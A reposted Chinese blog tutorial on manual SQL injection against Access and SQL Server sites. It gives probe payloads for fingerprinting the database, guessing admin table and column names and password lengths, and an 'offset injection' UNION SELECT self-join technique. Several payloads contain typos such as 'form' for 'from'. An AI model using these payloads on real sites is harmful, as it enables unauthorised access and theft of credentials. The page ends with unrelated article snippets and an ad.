手工注入

摘要:
判断数据库注入andexsits(select*formmsysobjects)˃0判断是否为access数据库andexsits(select*formsysobjects)˃0【判断是否为sqlserver判断数据库表andexist(select*formadmin)是否存在admin表判断数据库列名andexists(selectadminformadmin)判断在admin表中是否存在a

判断数据库注入
and exsits(select * form msysobjects) > 0 判断是否为access数据库
and exsits(select * form sysobjects) > 0 【判断是否为sqlserver
判断数据库表
and exist(select * form admin) 是否存在admin表
判断数据库列名
and exists (select admin form admin) 判断在admin表中是否存在admin列
判断账户密码的长度
and (select len(admin) form admin)=5 如果返回正常说明管理员账户的长度为5
and (select len(password)form admin) = 5 猜解管理账户长度是否为5
order by 用来猜有多少个列
偏移注入
主要是解决猜得到表名,猜不到列名的情况
用*号代替,不断减减减,*代表所有表的字段
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 from admin
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,* from admin
以此类推,直到返回正常
带入公式:
最开始的数-这次不报错的数 = 结果 38-22=16
(最开始的数-结果*2) + 结果*2 = 最开始的数
如果(最开始的数-结果*2)里面还包含结果,则结果*3,以此类推,如果还包含,结果*4
所以这次的语句就是
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id, * form (admin as a inner join admin as b on a.id=b.id)
第三次注入的语句
union select 1,2,3,4,a.id,b.id,c.id,form ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

免责声明:文章转载自《手工注入》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇[go]函数如来神掌第一式第十四招----HAPROXY详解下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

随便看看

爬虫发起抓取被服务器拒绝访问返回403禁止访问解决方案

目前,许多网站的API接口返回的http代码返回代码为403,表示禁止访问。如果您也遇到这种情况,请不要急于首先修改网站的相关参数,即高级api的网站。使用浏览器访问。如果浏览器访问api接口,它可以成功。表示已设置权限。接口可能已被修改或无效,此时无法访问。调用此接口时,将捕获异常中的responseBody。数据很可能在该区域。这就是作者遇到的问题。直接...

java实现word转pdf文件(高效不失真)

importjava.io.File;importjava.io.FileOutputStream;importjava.io.InputStream;importorg.aspectj.weaver.ast.Test;importcom.aspose.words.Document;importcom.aspose.words.License;importc...

H3C系列之三层交换机系统版本升级

本文中涉及的硬件和软件交换机:H3CS3600-28TP-SItftp软件:tftpd32软件升级文件:S36SI_ E-CMW310-R1702P44.zip升级文件描述如下:S36SI_ E-CMW310-R1702P44-S168.bin168-bitSSH加密应用程序S3600_ V606.btmbootrom(downloadedynetworkp...

如何从github下载项目的源代码,包含git客户端,直接下载,vs下载

很多小伙伴可能刚刚联系了github。如果他们使用github下载项目,他们将在这里编写一个统一的声明。从各种方式下载源代码,以加深对git的理解。英文描述:Git是一个免费开源的分布式版本控制系统,旨在以快速和高效的方式处理从小型到大型项目的所有事务。例如:在github上下载项目:https://github.com/dathlin/HslCommuni...

ARM内核全解析,从ARM7,ARM9到Cortex-A7,A8,A9,A12,A15到Cortex-A53,A57

Cortex-A50是继Cortex-A15之后的又一重量级产品,将会直接影响到主流PC市场的占有率。ARM处理器架构发展●Cortex-A57、A53处理器Cortex-A53、Cortex-A57两款处理器属于Cortex-A50系列,首次采用64位ARMv8架构,意义重大,这也是ARM最近刚刚发布的两款产品。Cortex-A12架构图ARM表示Cort...

Redis的安装和简单使用

Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。Redis的所有操作都是原子性的,同时Redis还支持对几个操作全并后的原子性执行。Redis安装1、要安装Redis,首先要获取安装包。这是访问Redis时所需的密码,一般测试情况下可以不用设定密码。再在右侧找到Redis名称的服务,查看...